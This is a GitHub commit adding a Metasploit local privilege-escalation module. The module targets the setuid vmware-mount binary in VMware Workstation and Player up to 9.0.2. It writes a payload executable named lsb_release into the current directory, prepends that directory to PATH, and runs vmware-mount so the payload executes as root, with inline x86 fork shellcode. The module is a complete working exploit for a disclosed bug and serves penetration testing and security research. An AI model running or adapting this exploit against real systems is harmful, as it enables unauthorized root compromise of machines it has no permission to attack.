Skip to content

Commit 63786f9

Browse files
committed
Add local exploit for taviso's vmware privesc
1 parent 79acc96 commit 63786f9

File tree

1 file changed

+84
-0
lines changed

1 file changed

+84
-0
lines changed
Lines changed: 84 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,84 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# web site for more information on licensing and terms of use.
5+
# http://metasploit.com/
6+
##
7+
8+
require 'msf/core'
9+
require 'rex'
10+
require 'msf/core/post/common'
11+
require 'msf/core/post/file'
12+
13+
class Metasploit4 < Msf::Exploit::Local
14+
15+
include Msf::Exploit::EXE
16+
include Msf::Post::Common
17+
include Msf::Post::File
18+
19+
def initialize(info={})
20+
super( update_info( info, {
21+
'Name' => 'VMWare Setuid vmware-mount Unsafe popen',
22+
'Description' => %q{
23+
VMWare Workstation (up to and including 9.0.2 build-1031769)
24+
and Player have a setuid executable called vmware-mount that
25+
invokes lsb_release in the PATH with popen(3). Since PATH is
26+
user-controlled, and the default system shell on
27+
Debian-derived distributions does not drop privs, we can put
28+
an arbitrary payload in an executable called lsb_release and
29+
have vmware-mount happily execute it as root for us.
30+
},
31+
'License' => MSF_LICENSE,
32+
'Author' => [ 'egypt'],
33+
'Platform' => [ 'linux' ],
34+
'Arch' => ARCH_X86,
35+
'Targets' =>
36+
[
37+
[ 'Automatic', { } ],
38+
],
39+
'DefaultOptions' => {
40+
"PrependSetresuid" => true,
41+
"PrependSetresgid" => true,
42+
},
43+
'DefaultTarget' => 0,
44+
'References' => [
45+
[ 'URL', "http://blog.cmpxchg8b.com/2013/08/security-debianisms.html" ],
46+
]
47+
}
48+
))
49+
# Handled by ghetto hardcoding below.
50+
deregister_options("PrependFork")
51+
end
52+
53+
def check
54+
if setuid?("/usr/bin/vmware-mount")
55+
CheckCode::Vulnerable
56+
else
57+
CheckCode::Safe
58+
end
59+
end
60+
61+
def exploit
62+
unless check == CheckCode::Vulnerable
63+
fail_with(Failure::NotVulnerable, "vmware-mount doesn't exist or is not setuid")
64+
end
65+
66+
# Ghetto PrependFork action which is apparently only implemented for
67+
# Meterpreter.
68+
# XXX Put this in a mixin somewhere
69+
exe = generate_payload_exe(
70+
:code => "\x6a\x02\x58\xcd\x80\x85\xc0\x74\x06\x31\xc0\xb0\x01\xcd\x80" + payload.encoded
71+
)
72+
write_file("lsb_release", exe)
73+
74+
cmd_exec("chmod +x lsb_release")
75+
cmd_exec("PATH=.:$PATH /usr/bin/vmware-mount")
76+
cmd_exec("rm -f lsb_release")
77+
end
78+
79+
def setuid?(remote_file)
80+
!!(cmd_exec("test -u /usr/bin/vmware-mount && echo true").index "true")
81+
end
82+
83+
end
84+

0 commit comments

Comments
 (0)